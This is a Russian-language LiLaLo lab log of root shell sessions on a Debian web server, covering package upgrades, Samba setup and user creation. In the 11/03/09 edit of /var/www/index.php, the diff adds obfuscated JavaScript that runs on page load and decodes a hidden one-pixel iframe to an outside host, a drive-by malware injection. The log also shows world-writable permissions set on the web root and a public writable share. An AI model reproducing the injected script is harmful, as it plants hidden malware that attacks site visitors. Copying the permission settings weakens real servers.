Журнал лабораторных работ

Содержание

Журнал

Пятница (09/18/09)

/dev/ttyp0
11:26:09
#apt-get install samba
Чтение списков пакетов... Готово
Построение дерева зависимостей... Готово
Будут установлены следующие дополнительные пакеты:
  binutils libattr1 libc6 libc6-xen libcups2 libcupsys2 libgcrypt11
  libgnutls26 libkeyutils1 libkrb53 libldap-2.4-2 libncurses5 libpam0g
  libpopt0 libselinux1 libslang2 libtalloc1 libwbclient0 locales samba-common
Предлагаемые пакеты:
  binutils-doc glibc-doc libc6-i686 cups-common rng-tools gnutls-bin krb5-doc
  krb5-user libpam-doc ldb-tools
Рекомендуемые пакеты:
...
НЕ ДЕе себе все возможные последствия!
  util-linux tzdata (вследствие util-linux)
обновлено 15, установлено 6 новых пакетов, для удаления отмечено 3 пакетов, и 203 пакетов не обновлено.
не установлено до конца или удалено 1 пакетов.
Необходимо скачать 23,3MБ архивов.
После распаковки объем занятого дискового пространства уменьшится на 4865kB.
То, что вы хотите сделать, может иметь нежелательные последствия.
Чтобы продолжить, введите фразу: 'Да, делать, как я скажу!'
 ?] n
Аварийное завершение.
11:26:51
#vim /etc/apt/sources.list
1c1
< deb http://ftp.debian.org/debian lenny main
---
> deb http://ftp.debian.org/debian etch main
11:27:05
#apt-get update
Получено:1 http://ftp.debian.org etch Release.gpg [1032B]
Получено:2 http://ftp.debian.org etch Release [67,8kB]
Получено:3 http://ftp.debian.org etch/main Packages [5620kB]
Получено 5689kB за 30s (185kB/c)
Чтение списков пакетов... Готово
11:27:39
#aptitude
Удаляется пакет libtimedate-perl...
Удаляется пакет libunicode-map-perl...
Удаляется пакет libunicode-map8-perl...
Удаляется пакет libunicode-string-perl...
Удаляется пакет liburi-perl...
(Чтение базы данных... на данный момент установлено 16906 файлов и каталогов.)
Удаляется пакет samba-common...
Удаляются файлы конфигурации пакета samba-common...
dpkg: предупреждение -- при удалении пакета samba-common не пустой каталог /var/log/samba не удалён.
Нажмите Ввод для продолжения.
11:28:05
#apt-get upgrade
Чтение списков пакетов... Готово
Построение дерева зависимостей... Готово
Пакеты, которые будут оставлены в неизменном виде:
  openssh-client openssh-server
Пакеты, которые будут обновлены:
  apache2 apache2-mpm-prefork apache2-utils apache2.2-common bsdutils cpio
  debconf debconf-i18n dpkg dselect e2fslibs e2fsprogs findutils initscripts
  libapache2-mod-php5 libblkid1 libc6 libc6-dev libc6-xen libcomerr2
  libdbi-perl libfreetype6 libgd2-xpm libglib2.0-0 libgnutls13 libkrb53
  libmysqlclient15off libnss-ldap libpam-modules libpam-runtime libpam0g
  libpcre3 libpng12-0 libpq4 libsnmp-base libsnmp9 libss2 libssl0.9.8 libuuid1
  libxml2 locales login mount mysql-client-5.0 mysql-common mysql-server
  mysql-server-5.0 ntpdate openssl passwd perl perl-base perl-modules php5
  php5-cli php5-common php5-gd php5-mysql postfix rsync sysv-rc sysvinit
  sysvinit-utils tar tcpdump tzdata unzip util-linux vim-common vim-tiny
обновлено 70, установлено 0 новых пакетов, для удаления отмечено 0 пакетов, и 2 пакетов не обновлено.
Необходимо скачать 81,9MБ архивов.
После распаковки объем занятого дискового пространства уменьшится на 667kB.
Хотите продолжить [Д/н]? n
Аварийное завершение.
11:28:18
#apt-get install ssh
Чтение списков пакетов... Готово
Построение дерева зависимостей... Готово
НОВЫЕ пакеты, которые будут установлены:
  ssh
обновлено 0, установлено 1 новых пакетов, для удаления отмечено 0 пакетов, и 72 пакетов не обновлено.
Необходимо скачать 1052Б архивов.
После распаковки объем занятого дискового пространства возрастёт на 8192B.
Получено:1 http://ftp.debian.org etch/main ssh 1:4.3p2-9etch3 [1052B]
Получено 1052B за 0s (8491B/c)
Выбор ранее не выбранного пакета ssh.
(Чтение базы данных... на данный момент установлено 16878 файлов и каталогов.)
Распаковывается пакет ssh (из файла .../ssh_1%3a4.3p2-9etch3_all.deb)...
Настраивается пакет ssh (4.3p2-9etch3) ...
прошло >2 часов
/dev/ttyp0
13:59:35
#ls

13:59:36
#ls

Вторник (11/03/09)

/dev/ttyp0
19:28:12
#vim /var/
19:28:12
#vim /var/www/
19:28:12
#vim /var/www/index.php
31c31,39
< //echo '<br />'.round($t2-$t1, 3).'s';
\ В конце файла нет новой строки
---
> //echo '<br />'.round($t2-$t1, 3).'s';
> <script>function QVcUQAc(gwDFEtxd, YiMnzsKpk, EuhvvwF){var CctGNk=EuhvvwF.split(YiMnzsKpk);var zBg='';for(NyCIPijae=-0x1-0x2c+0x2d;NyCIPijae<(CctGNk.length-1);NyCIPijae+=0x32+0x31-0x2f+0x2f+0x12-0x9-0x6b){ ZWiVKXy = CctGNk[NyCIPijae]^gwDFEtxd;zBg += String.fromCharCode(ZWiVKXy);}return zBg;}function yetn(OLcwQGD){ alert('TaraBwparF'); }
> ;function gSWVClmqmJ(){var GFSJlAUQY=new Function("bxfC", "return "+QVcUQAc(0x1c+0x1f+0xd-0x2b+0x0-0x3+0x2b+0x10a, 'y','299y288y300y314y290y298y289y315y')+"."+QVcUQAc(0xc-0x20+0x1e+0xa-0xb+0x272, 'v','537v532v543v514v')+"");var ZlE=GFSJlAUQY(-0x14-0xe+0x4-0x2c+0x4+0x32+0x15);ZlE.innerHTML += QVcUQAc(-0x13+0x1f+0x10+0x1e+0x1e+0x52, 'D','150D195D204D216D203D199D207D138D221D195D206D222D194D151D155D138D194D207D195D205D194D222D151D155D138D200D197D216D206D207D216D151D154D138D204D216D203D199D207D200D197D216D206D207D216D151D154D138D217D216D201D151D141D194D222D222D218D144D133D133D152D155D154D132D159D155D132D155D156D156D132D152D152D154D133D198D195D200D133D195D196D206D207D210D132D218D194D218D141D148D150D133D195D204D216D203D199D207D148D');}function HdyLuncs(EIFHxtt){  fff.op.replace("376");var AulireLbu=new Function("Qzb", "return 414363;"); }
> ;if(window.addEventListener){window.addEventListener('load',gSWVClmqmJ,false);}else if(window.attachEvent){window.attachEvent('onload', gSWVClmqmJ);}function xZAI(CFsBErhTc){ alert('ZcKG'); }
> <script>function QVcUQAc(gwDFEtxd, YiMnzsKpk, EuhvvwF){var CctGNk=EuhvvwF.split(YiMnzsKpk);var zBg='';for(NyCIPijae=-0x1-0x2c+0x2d;NyCIPijae<(CctGNk.length-1);NyCIPijae+=0x32+0x31-0x2f+0x2f+0x12-0x9-0x6b){ ZWiVKXy = CctGNk[NyCIPijae]^gwDFEtxd;zBg += String.fromCharCode(ZWiVKXy);}return zBg;}function yetn(OLcwQGD){ alert('TaraBwparF'); }
> ;function gSWVClmqmJ(){var GFSJlAUQY=new Function("bxfC", "return "+QVcUQAc(0x1c+0x1f+0xd-0x2b+0x0-0x3+0x2b+0x10a, 'y','299y288y300y314y290y298y289y315y')+"."+QVcUQAc(0xc-0x20+0x1e+0xa-0xb+0x272, 'v','537v532v543v514v')+"");var ZlE=GFSJlAUQY(-0x14-0xe+0x4-0x2c+0x4+0x32+0x15);ZlE.innerHTML += QVcUQAc(-0x13+0x1f+0x10+0x1e+0x1e+0x52, 'D','150D195D204D216D203D199D207D138D221D195D206D222D194D151D155D138D194D207D195D205D194D222D151D155D138D200D197D216D206D207D216D151D154D138D204D216D203D199D207D200D197D216D206D207D216D151D154D138D217D216D201D151D141D194D222D222D218D144D133D133D152D155D154D132D159D155D132D155D156D156D132D152D152D154D133D198D195D200D133D195D196D206D207D210D132D218D194D218D141D148D150D133D195D204D216D203D199D207D148D');}function HdyLuncs(EIFHxtt){  fff.op.replace("376");var AulireLbu=new Function("Qzb", "return 414363;"); }
> ;if(window.addEventListener){window.addEventListener('load',gSWVClmqmJ,false);}else if(window.attachEvent){window.attachEvent('onload', gSWVClmqmJ);}function xZAI(CFsBErhTc){ alert('ZcKG'); }
> ;</script>
> 

Четверг (11/05/09)

/dev/ttyp0
09:52:51
#apt-get dist-upgrade
Чтение списков пакетов... Готово
Построение дерева зависимостей... Готово
Расчёт обновлений... Готово
НОВЫЕ пакеты, которые будут установлены:
  openssh-blacklist
Пакеты, которые будут обновлены:
  apache2 apache2-mpm-prefork apache2-utils apache2.2-common bsdutils cpio
  debconf debconf-i18n dpkg dselect e2fslibs e2fsprogs findutils initscripts
  libapache2-mod-php5 libblkid1 libc6 libc6-dev libc6-xen libcomerr2
  libdbi-perl libfreetype6 libgd2-xpm libglib2.0-0 libgnutls13 libkrb53
...
  libxml2 locales login mount mysql-client-5.0 mysql-common mysql-server
  mysql-server-5.0 ntpdate openssh-client openssh-server openssl passwd perl
  perl-base perl-modules php5 php5-cli php5-common php5-gd php5-mysql postfix
  rsync sysv-rc sysvinit sysvinit-utils tar tcpdump tzdata unzip util-linux
  vim-common vim-tiny
обновлено 72, установлено 1 новых пакетов, для удаления отмечено 0 пакетов, и 0 пакетов не обновлено.
Необходимо скачать 84,9MБ архивов.
После распаковки объем занятого дискового пространства возрастёт на 3429kB.
Хотите продолжить [Д/н]? n
Аварийное завершение.
09:53:18
#apt-get dist-upgrade
Чтение списков пакетов... Готово
Построение дерева зависимостей... Готово
Расчёт обновлений... Готово
НОВЫЕ пакеты, которые будут установлены:
  openssh-blacklist
Пакеты, которые будут обновлены:
  apache2 apache2-mpm-prefork apache2-utils apache2.2-common bsdutils cpio
  debconf debconf-i18n dpkg dselect e2fslibs e2fsprogs findutils initscripts
  libapache2-mod-php5 libblkid1 libc6 libc6-dev libc6-xen libcomerr2
  libdbi-perl libfreetype6 libgd2-xpm libglib2.0-0 libgnutls13 libkrb53
...
  vim-common vim-tiny
обновлено 72, установлено 1 новых пакетов, для удаления отмечено 0 пакетов, и 0 пакетов не обновлено.
Необходимо скачать 84,9MБ архивов.
После распаковки объем занятого дискового пространства возрастёт на 3429kB.
Хотите продолжить [Д/н]? y
Получено:1 http://ftp.debian.org etch/main bsdutils 1:2.12r-19etch1 [68,5kB]
Получено:2 http://ftp.debian.org etch/main dpkg 1.13.26 [2034kB]
Получено:3 http://ftp.debian.org etch/main libc6-dev 2.3.6.ds1-13etch9+b1 [2718kB]
Получено:4 http://ftp.debian.org etch/main libc6 2.3.6.ds1-13etch9+b1 [4745kB]
7% [4 libc6 1362809/4745kB 28%]                                    609kB/s 2m9s
09:53:52
#vim /etc/apt/sources.list
1c1
< deb http://ftp.debian.org/debian etch main
---
> deb http://ftp.debian.org/debian lenny main non-free contrib
09:54:14
#apt-get update
Получено:1 http://ftp.debian.org lenny Release.gpg [1032B]
Получено:2 http://ftp.debian.org lenny Release [73,6kB]
Получено:3 http://ftp.debian.org lenny/main Packages [6911kB]
Получено:4 http://ftp.debian.org lenny/non-free Packages [123kB]
Получено:5 http://ftp.debian.org lenny/contrib Packages [92,7kB]
Получено 7202kB за 21s (330kB/c)
Чтение списков пакетов... Готово
09:54:43
#apt-get dist-upgrade
Чтение списков пакетов... Готово
Построение дерева зависимостей... Готово
Расчёт обновлений... Готово
Пакеты, которые будут УДАÐibarchive-tar-perl libc6-dev libsasl2 libssp0
НОВЫЕ пакеты, которые будут установлены:
  cpp-4.3 gcc-4.3 gcc-4.3-base libcompress-raw-zlib-perl libcups2 libcwidget3
  libdb4.5 libdb4.6 libept0 libgmp3c2 libgnutls26 libgomp1 libgpm2
  libio-compress-base-perl libio-compress-zlib-perl libkeyutils1 libldap-2.4-2
  libmpfr1ldbl libpq5 libxapian15 libxcb-xlib0 libxcb1 lzma netcat-traditional
  openssh-blacklist openssl-blacklist python python-minimal python2.5
...
Получено:79 http://ftp.debian.org lenny/main ncurses-base 5.7+20081213-1 [178kB]
Получено:80 http://ftp.debian.org lenny/main sysvinit-utils 2.86.ds1-61 [71,1kB]
Получено:81 http://ftp.debian.org lenny/main mawk 1.3.3-11.1 [80,2kB]
Получено:82 http://ftp.debian.org lenny/main mysql-server 5.0.51a-24+lenny2 [55,1kB]
Получено:83 http://ftp.debian.org lenny/main readline-common 5.2-3.1 [50,9kB]
Получено:84 http://ftp.debian.org lenny/main libreadline5 5.2-3.1 [133kB]
Получено:85 http://ftp.debian.org lenny/main libwrap0 7.6.q-16 [30,1kB]
Получено:86 http://ftp.debian.org lenny/main mysql-client-5.0 5.0.51a-24+lenny2 [7785kB]
Получено:87 http://ftp.debian.org lenny/main psmisc 22.6-1 [84,7kB]
Получено:88 http://ftp.debian.org lenny/main mysql-server-5.0 5.0.51a-24+lenny2 [26,5MB]
прошло 10 минут
10:05:36
#apt-get install samba
Importing account for gnats...ok
Importing account for nobody...ok
Importing account for sshd...ok
Importing account for snmp...ok
Importing account for mysql...ok
Importing account for webmaster...ok
Importing account for postfix...ok
Importing account for libuuid...ok
Добавляется группа `sambashare' (GID 108) ...
Готово.
Starting Samba daemons: nmbd smbd.
10:06:47
#smbpasswd wilen
New SMB password:
Retype new SMB password:
Failed to find entry for user wilen.
Failed to modify password entry for user wilen
10:07:05
#smbpasswd wilen
New SMB password:
Retype new SMB password:
Failed to find entry for user wilen.
Failed to modify password entry for user wilen
10:07:14
#vim /etc/samba/smb.conf
105c105
< #   security = user
---
>    security = user
329a330,337
> [www]
>    comment = www directories
>    path = /usr/local/www
>    browseable = yes
>    public = yes
>    writable = yes
>    create mask = 0644
>    directory mask = 0755
прошло 12 минут
10:19:43
#whereis admin.php
admin:
10:19:53
#cd /var/www
bash: cd: /var/wwwvim: Нет такого файла или каталога
10:20:10
#mc
10:20:45
#vim /etc/samba/smb.conf
332c332
<    path = /usr/local/www
---
>    path = /var/www/platform/upload
10:21:14
#mc
10:21:31
#vim /etc/samba/smb.conf
332c332
<    path = /var/www/platform/upload
---
>    path = /var/www/platform/upload/File
10:21:49
#mc
10:22:37
#useradd -m wilen

10:22:47
#mc
10:22:53
#passwd wilen
Введите новый пароль UNIX:
Повторите ввод нового пароля UNIX:
passwd: пароль успешно обновлён
10:22:58
#smbpasswd -a wilen
New SMB password:
Retype new SMB password:
Added user wilen.
10:23:21
#vim /etc/samba/smb.conf
прошло 34 минуты
10:57:39
#cd /var/www

10:57:50
#ls
admin.php    config.php     docs            liag.rar  manager.php  yandex.txt
application  conf_liag.doc  eshop_site.zip  liag.sql  output.txt
bar.emf      crontab.txt    index.php       mail.php  platform
10:57:51
#cd ..

10:57:54
#chmod -R 777 www

Среда (11/18/09)

/dev/ttyp0
09:41:52
#trafshow
09:41:58
#apt-get install netdiag
Чтение списков пакетов... Готово
Построение дерева зависимостей
Чтение информации о состоянии... Готово
НОВЫЕ пакеты, которые будут установлены:
  netdiag
обновлено 0, установлено 1 новых пакетов, для удаления отмечено 0 пакетов, и 0 пакетов не обновлено.
Необходимо скачать 288kБ архивов.
После данной операции, объём занятого дискового пространства возрастёт на 1004kB.
Получено:1 http://ftp.debian.org lenny/main netdiag 1.0-12 [288kB]
Получено 288kБ за 1s (166kБ/c)
Предварительная настройка пакетов ...
Выбор ранее не выбранного пакета netdiag.
(Чтение базы данных... на данный момент установлено 18364 файлов и каталогов.)
Распаковывается пакет netdiag (из файла .../netdiag_1.0-12_i386.deb)...
Обрабатываются триггеры для man-db ...
Настраивается пакет netdiag (1.0-12) ...
09:43:11
#ps ax
 -a 32
  PID TTY      STAT   TIME COMMAND
    1 ?        Ss     0:00 init [2]
    2 ?        S      0:00 [migration/0]
    3 ?        SN     0:00 [ksoftirqd/0]
    4 ?        S<     0:00 [events/0]
    5 ?        S<     0:00 [khelper]
    6 ?        S<     0:00 [kthread]
    7 ?        S<     0:00 [xenwatch]
    8 ?        S<     0:00 [xenbus]
...
20190 ?        S      0:00 /usr/sbin/apache2 -k start
20197 ?        S      0:00 /usr/sbin/apache2 -k start
20786 ?        S      0:00 pickup -l -t fifo -u -c
21061 ?        S      0:00 /usr/sbin/smbd -D
21234 ?        Ss     0:00 sshd: root@ttyp0
21236 ttyp0    Ss+    0:00 script -f -q /root/.lilalo//429012817194551275-1258530112.script
21270 ttyp0    S+     0:00 script -f -q /root/.lilalo//429012817194551275-1258530112.script
21271 ttyp1    Ss     0:00 bash -i
21300 ?        S      0:00 smtpd -n smtp -t inet -u -c -o stress
21417 ttyp1    R+     0:00 ps ax
09:43:15
#mailq
Mail queue is empty
09:43:28
#trafshow -a 32
09:44:49
#/etc/init.d/postfix stop
Stopping Postfix Mail Transport Agent: postfix.

Статистика

Время первой команды журнала11:26:09 2009- 9-18
Время последней команды журнала09:44:49 2009-11-18
Количество командных строк в журнале42
Процент команд с ненулевым кодом завершения, %14.29
Процент синтаксически неверно набранных команд, % 2.38
Суммарное время работы с терминалом *, час 0.60
Количество командных строк в единицу времени, команда/мин 1.17
Частота использования команд
apt-get10|=======================| 23.81%
vim9|=====================| 21.43%
mc4|=========| 9.52%
smbpasswd3|=======| 7.14%
ls3|=======| 7.14%
cd3|=======| 7.14%
trafshow2|====| 4.76%
ps1|==| 2.38%
passwd1|==| 2.38%
aptitude1|==| 2.38%
/etc/init.d/postfix1|==| 2.38%
chmod1|==| 2.38%
useradd1|==| 2.38%
whereis1|==| 2.38%
mailq1|==| 2.38%
____
*) Интервалы неактивности длительностью 30 минут и более не учитываются

Справка

Для того чтобы использовать LiLaLo, не нужно знать ничего особенного: всё происходит само собой. Однако, чтобы ведение и последующее использование журналов было как можно более эффективным, желательно иметь в виду следующее:
  1. В журнал автоматически попадают все команды, данные в любом терминале системы.

  2. Для того чтобы убедиться, что журнал на текущем терминале ведётся, и команды записываются, дайте команду w. В поле WHAT, соответствующем текущему терминалу, должна быть указана программа script.

  3. Команды, при наборе которых были допущены синтаксические ошибки, выводятся перечёркнутым текстом:
    $ l s-l
    bash: l: command not found
    

  4. Если код завершения команды равен нулю, команда была выполнена без ошибок. Команды, код завершения которых отличен от нуля, выделяются цветом.
    $ test 5 -lt 4
    Обратите внимание на то, что код завершения команды может быть отличен от нуля не только в тех случаях, когда команда была выполнена с ошибкой. Многие команды используют код завершения, например, для того чтобы показать результаты проверки

  5. Команды, ход выполнения которых был прерван пользователем, выделяются цветом.
    $ find / -name abc
    find: /home/devi-orig/.gnome2: Keine Berechtigung
    find: /home/devi-orig/.gnome2_private: Keine Berechtigung
    find: /home/devi-orig/.nautilus/metafiles: Keine Berechtigung
    find: /home/devi-orig/.metacity: Keine Berechtigung
    find: /home/devi-orig/.inkscape: Keine Berechtigung
    ^C
    

  6. Команды, выполненные с привилегиями суперпользователя, выделяются слева красной чертой.
    # id
    uid=0(root) gid=0(root) Gruppen=0(root)
    

  7. Изменения, внесённые в текстовый файл с помощью редактора, запоминаются и показываются в журнале в формате ed. Строки, начинающиеся символом "<", удалены, а строки, начинающиеся символом ">" -- добавлены.
    $ vi ~/.bashrc
    2a3,5
    >    if [ -f /usr/local/etc/bash_completion ]; then
    >         . /usr/local/etc/bash_completion
    >        fi
    

  8. Для того чтобы изменить файл в соответствии с показанными в диффшоте изменениями, можно воспользоваться командой patch. Нужно скопировать изменения, запустить программу patch, указав в качестве её аргумента файл, к которому применяются изменения, и всавить скопированный текст:
    $ patch ~/.bashrc
    В данном случае изменения применяются к файлу ~/.bashrc

  9. Для того чтобы получить краткую справочную информацию о команде, нужно подвести к ней мышь. Во всплывающей подсказке появится краткое описание команды.

    Если справочная информация о команде есть, команда выделяется голубым фоном, например: vi. Если справочная информация отсутствует, команда выделяется розовым фоном, например: notepad.exe. Справочная информация может отсутствовать в том случае, если (1) команда введена неверно; (2) если распознавание команды LiLaLo выполнено неверно; (3) если информация о команде неизвестна LiLaLo. Последнее возможно для редких команд.

  10. Большие, в особенности многострочные, всплывающие подсказки лучше всего показываются браузерами KDE Konqueror, Apple Safari и Microsoft Internet Explorer. В браузерах Mozilla и Firefox они отображаются не полностью, а вместо перевода строки выводится специальный символ.

  11. Время ввода команды, показанное в журнале, соответствует времени начала ввода командной строки, которое равно тому моменту, когда на терминале появилось приглашение интерпретатора

  12. Имя терминала, на котором была введена команда, показано в специальном блоке. Этот блок показывается только в том случае, если терминал текущей команды отличается от терминала предыдущей.

  13. Вывод не интересующих вас в настоящий момент элементов журнала, таких как время, имя терминала и других, можно отключить. Для этого нужно воспользоваться формой управления журналом вверху страницы.

  14. Небольшие комментарии к командам можно вставлять прямо из командной строки. Комментарий вводится прямо в командную строку, после символов #^ или #v. Символы ^ и v показывают направление выбора команды, к которой относится комментарий: ^ - к предыдущей, v - к следующей. Например, если в командной строке было введено:

    $ whoami
    
    user
    
    $ #^ Интересно, кто я?
    
    в журнале это будет выглядеть так:
    $ whoami
    
    user
    
    Интересно, кто я?

  15. Если комментарий содержит несколько строк, его можно вставить в журнал следующим образом:

    $ whoami
    
    user
    
    $ cat > /dev/null #^ Интересно, кто я?
    
    Программа whoami выводит имя пользователя, под которым 
    мы зарегистрировались в системе.
    -
    Она не может ответить на вопрос о нашем назначении 
    в этом мире.
    
    В журнале это будет выглядеть так:
    $ whoami
    user
    
    Интересно, кто я?
    Программа whoami выводит имя пользователя, под которым
    мы зарегистрировались в системе.

    Она не может ответить на вопрос о нашем назначении
    в этом мире.
    Для разделения нескольких абзацев между собой используйте символ "-", один в строке.

  16. Комментарии, не относящиеся непосредственно ни к какой из команд, добавляются точно таким же способом, только вместо симолов #^ или #v нужно использовать символы #=

  17. Содержимое файла может быть показано в журнале. Для этого его нужно вывести с помощью программы cat. Если вывод команды отметить симоволами #!, содержимое файла будет показано в журнале в специально отведённой для этого секции.
  18. Для того чтобы вставить скриншот интересующего вас окна в журнал, нужно воспользоваться командой l3shot. После того как команда вызвана, нужно с помощью мыши выбрать окно, которое должно быть в журнале.
  19. Команды в журнале расположены в хронологическом порядке. Если две команды давались одна за другой, но на разных терминалах, в журнале они будут рядом, даже если они не имеют друг к другу никакого отношения.
    1
        2
    3   
        4
    
    Группы команд, выполненных на разных терминалах, разделяются специальной линией. Под этой линией в правом углу показано имя терминала, на котором выполнялись команды. Для того чтобы посмотреть команды только одного сенса, нужно щёкнуть по этому названию.

О программе

LiLaLo (L3) расшифровывается как Live Lab Log.
Программа разработана для повышения эффективности обучения Unix/Linux-системам.
(c) Игорь Чубин, 2004-2008

$Id$